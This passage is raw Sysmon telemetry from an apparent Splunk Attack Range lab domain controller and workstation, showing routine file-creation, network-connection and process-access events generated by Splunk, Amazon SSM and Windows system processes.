AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=78CAD08F5FF1DEFA5D83824C4188D5CB,SHA256=765C7E1C3F91A83032D3DF82FDC4FE0DA0CB58CAD32D56FD35E8351FCA9D1B81,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:50.520{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-042MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:51.724{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=49BD9491265192E22B450606BD025AFA,SHA256=CD52EB8650786859D01E81C64603D71EECED1DACDFA3EE9A0DC6EEF89E2F56E1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014311Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:51.811{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B2AAAF7877BBA493321B19816A81971F,SHA256=329BCA6C67CEF4AF9CC2F4E53FBDA553D39E5129D0F7AF89E31325745536E0BB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:52.740{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7087194582E8893266EDBF6276EDE403,SHA256=58ADC511B68413546DDC3A19056AA019A95588F23FCE68DF82FAD81AC8124B7B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014312Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:52.826{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E624470D3700B69F4D27969B35735E38,SHA256=14BC1792D5DEE868CEB101D6C61204702A4DC4BB79085DB1FC659F99EFF706A4,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:49.544{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59287-false10.0.1.12-8000- 23542300x800000000000000046127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:53.849{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C766C79697C55FB4AE30EC1714D2B463,SHA256=A1AA04C2398684C2EDD075702E419449E4CC39A93B230A98E678DF37025703B3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014314Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:53.842{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8DD1854A83C4F681812C01281925CBAF,SHA256=37A5CD47CD3DDF60B61E16FEFF3DDC325A41E4C0045E34545F3ED9816A800EC5,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014313Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:52.561{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50145-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014317Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:54.854{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AEF617F97A69F9A35A008DF57434F689,SHA256=DF831349DBD15BFBB3C0F8D845C6C1BAA3C4709DDE097D165EC0597A3C714818,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014316Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:54.720{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014315Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:54.706{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-032MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014319Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:55.916{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=53A6ED4F581C981580530036D03B7048,SHA256=3C4D1DD9110A3B234438DBC02B3BFB0BD0DCBE56D61499D7F0E2B4CAD04CE5F1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:55.068{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5FD76292B3BA5C6270D4656A0E7D15A5,SHA256=5445CCB0264741C7EB14AA60B8599D341B61D4AC9BCE1F9AA5844E67D7548415,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014318Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:55.714{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-033MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014321Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:56.918{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=808958331D2F2F7B2576100EEEC152CE,SHA256=F0E0409CFE8C5B61F70597165F39391294195DC0F06A7F32A39B7943C94A1D59,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:54.060{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.255-138netbios-dgmfalse10.0.1.14win-dc-387.attackrange.local138netbios-dgm 354300x800000000000000046130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:54.060{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMudptruefalse10.0.1.14win-dc-387.attackrange.local138netbios-dgmfalse10.0.1.255-138netbios-dgm 23542300x800000000000000046129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:56.099{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=37D716E98A4D896D0D0170E3D142CBD8,SHA256=46A8D062386F4C9D8952F16856E0A7F86CEBF063B297F3C00052C39A530026B4,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014320Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:55.031{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50146-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000014322Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:57.934{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0A43542017D35527E8CAF6A4C6AB5917,SHA256=6603E5E07B7BC0E5CFD234F70A96069E3F239EE1A0B38E502A4835031A1D0E96,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:57.208{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=48F24D3C67D530A51771926FFF898652,SHA256=5C2E55B48584F3A16658C18C6021EC1434A20684B897200F93BB5FC1134B8974,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014323Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:58.950{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CD35B18457D2BBCACC1590700C55FFCD,SHA256=93E2AA6A644B5739AFEC6112F41EB335F82C9C34B16F43061BD77BE49A195A8E,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:55.509{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59288-false10.0.1.12-8000- 23542300x800000000000000046133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:58.209{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=19E4631101C659152EA58DDAC54CCA2D,SHA256=47B1F6D2272A25E2F1C266750BE198DA6D6E5FEA59AA93F95977A6D7657032C9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014324Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:59.996{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8E37707348DDBCA2652C340509DBC065,SHA256=0312E9CA0B8C7DD07C744AE178A7216D73CEFD72B3453C615175BD465B08F442,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:57.525{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59289-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000046138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:57.525{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59289-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000046137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:59.224{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=B56F101E8C0ADDE036BCA4B1567AB2DD,SHA256=456BC5E05E79174A08793F6F5AA0E6CAEBA03678C0621891C44A41F854C13C9B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:59.224{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=75C0EC41E93E7F12EF938D1FB7BB231E,SHA256=38645F6A24B5F624A509533F268ABA45D724A9F8FCD0B89CC233BEDA301BA5F7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:59.224{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=86FB285EE57B9F9B1784B50D6FC29EFE,SHA256=B10CE2D2BB6E629A1A01165093421AEA441422B85090918F61558A170AB1E684,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:00.240{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BFE5FB948CA7243D128EC812166ED8AF,SHA256=6C9AFF91834BADF73948B98E762057DF34A9AEDCF53DF1FAB21355EB2E1EEBCD,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014325Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:58.528{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50147-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000046141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:01.240{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BB139CBD6C118AA054242E599C64B8BB,SHA256=55FF7998DD5E15FCB3EC2CB321AC49FF9D39EFE68E02D738317C5575CB18DF83,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014326Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:01.012{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AD11E3386A176E822BCC5E04C5BC2468,SHA256=D59311ABFEE53DA6E4BE42F960467A60F384E74FA8470A5F0A07AFFF53A6D73C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:02.255{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=674C793EC8E9DC57169987343FFF686E,SHA256=6FEFB242053E54CA93D237804FF70B6E3C0F3547FF92F35B06FD07E7AA570215,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014328Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:02.215{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=FCADF58D7E20FFE5962FF287613788D4,SHA256=0908C94E8ABF41EB14497CAAF58E7FB7DA643B14DBD2F0F81A15321B5CCA2045,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014327Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:02.028{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F3667696A3626542F93782594E2DD3E9,SHA256=EE02CBC017AF24D637AD6E1CA17023D5261FF7B31F42E5CE423B657CE612DDDB,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:03.927{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000046144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:01.368{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59290-false10.0.1.12-8000- 23542300x800000000000000046143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:03.380{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8AF2AA1C098A5D9E329EA01376905BE8,SHA256=B85A76B9A67977EBA35D5809FF5D00E1CA6AAE364D48F902ACAB96D8D110F804,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014329Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:03.075{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5453CC427D5717F1AEEB8D0F6948D009,SHA256=6FEEF7140DDEF525A0208D3E5CD7AB74D81BE34BC27E37EA8FFBD7CD1AA2BC1E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:04.396{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A723AE76F8C3197DE3BAB4D0F630F62D,SHA256=1E5F79766F4C747866E801096B969DE5C55BAD6EBB98C5ED0DB011631C2384F0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014330Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:04.137{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B4CCB01F4DEC8CE02B55126D7A7434D2,SHA256=82645903B6C7085BAD0B2D831CCF88D311FC75C82DE1DCB0C854841F1D71F1F0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:05.443{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=56A6B1110CA31F8759DAEEF6015CA86F,SHA256=1844D43206CAD9D97FA1998A44EC9AFA1F508E57F1911FE86A2F67019CCA6970,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014331Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:05.155{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B05F9576A06F2AA7AEF8D7370D4820DB,SHA256=6BB53492DA16408E992B545707E0CBA70DE44F50FF74ED01E0A7E50D5270EA3C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.458{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2ADC934C45040C91B25C9DF11A2C8F4C,SHA256=0E6DAF7D3254569F00D6146E106937F6D6F58B56FA45D6DC8414F67D96EFBDDF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014333Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:06.168{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5C53FE92E618C8981742F4BA84FC68A1,SHA256=7F289032AA63AAB0D9982A6AD8EF440AC39E1298BFC8DD4BF0935D5CC6EB624F,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 